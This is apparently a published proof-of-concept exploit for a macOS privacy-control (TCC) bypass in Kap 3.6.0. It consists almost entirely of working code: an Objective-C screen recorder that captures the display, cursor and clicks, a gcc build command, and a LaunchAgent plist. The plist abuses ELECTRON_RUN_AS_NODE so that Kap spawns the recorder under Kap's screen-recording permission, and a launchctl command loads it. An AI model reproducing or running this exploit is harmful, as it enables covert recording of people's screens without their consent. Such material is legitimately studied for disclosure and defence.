KAP 3.6.0 - TCC Bypass

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (nonatomic, strong) AVCaptureSession *captureSession;
@property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput;
@property (nonatomic, strong) dispatch_queue_t sessionQueue;
@property (nonatomic, copy) NSURL *outputURL;
@property (nonatomic, assign) NSInteger durationInSeconds; // Record time

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url;
- (void)startRecording;
- (void)stopRecording;

@end

@implementation ScreenRecorder

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url {
    self = [super init];
    if (self) {
        _durationInSeconds = duration;
        _outputURL = url;
        _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL);
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];


    // capture screen
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if (!screenInput) {
        NSLog(@"Error: can't get screenInput");
        return;
    }
    
    // fps
    screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps
    screenInput.capturesCursor = YES; // cursor
    screenInput.capturesMouseClicks = YES; // clicks

    if ([self.captureSession canAddInput:screenInput]) {
        [self.captureSession addInput:screenInput];
    } else {
        NSLog(@"Error: can't add to screenInput");
        return;
    }

    // output
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    
    // max time
    self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid;
    
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    } else {
        NSLog(@"Error: can't add screenInput to output file.");
        return;
    }
}

- (void)startRecording {
    dispatch_async(self.sessionQueue, ^{
        if (![self.captureSession isRunning]) {
            [self.captureSession startRunning];
            NSLog(@"Initializing");
        }

        // check old file
        if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) {
            NSError *error = nil;
            [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error];
            if (error) {
                NSLog(@"Error deleting file: %@", error.localizedDescription);
            }
        }
        
        // start recording
        [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self];
        NSLog(@"recording: %@", self.outputURL.lastPathComponent);

        // dispatch timeout
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{
            [self stopRecording];
        });
    });
}

- (void)stopRecording {
    dispatch_async(self.sessionQueue, ^{
        if ([self.movieFileOutput isRecording]) {
            [self.movieFileOutput stopRecording];
            NSLog(@"stop recording.");
        }
    });
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

// call after recorded
- (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error {
    if (error) {
        NSLog(@"Error stopping the recording: %@", error.localizedDescription);
    } else {
        NSLog(@"Success. File saved at : %@", outputFileURL.path);
    }

    // stop after finish 
    dispatch_async(self.sessionQueue, ^{
        if ([self.captureSession isRunning]) {
            [self.captureSession stopRunning];
            NSLog(@"Recording Stopped.");
        }
    });
}

@end

// main
int main(int argc, const char * argv[]) {
    @autoreleasepool {
            // output file
                @autoreleasepool {

            // path (Adapt to the specific user)
            NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE";
            
            // complete path
            NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]];

            // check folder
            NSFileManager *fileManager = [NSFileManager defaultManager];
            if (![fileManager fileExistsAtPath:targetDirectory]) {
                NSError *error = nil;
                [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error];
                if (error) {
                    NSLog(@"Error creating folder: %@", error.localizedDescription);
                    
                }
            }


            // create ScreenRecorder instance
            ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL];

            // start recording
            [recorder startRecording];


            NSLog(@"Waiting for 5 seconds ...");
            [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s 

            NSLog(@"Finished.");
        }
    }
    return 0;
}

gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>EnvironmentVariables</key>
        <dict>
            <key>ELECTRON_RUN_AS_NODE</key>
            <string>true</string>
        </dict>
        <key>Label</key>
        <string>com.kap.tcc.bypass</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Kap.app/Contents/MacOS/Kap</string>
            <string>-e</string>
            <!--Replace the path_to_screen with the path to the screen binary-->
            <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string>
        </array>
        <key>RunAtLoad</key>
        <true />
    </dict>
</plist>

launchctl load bypass.plist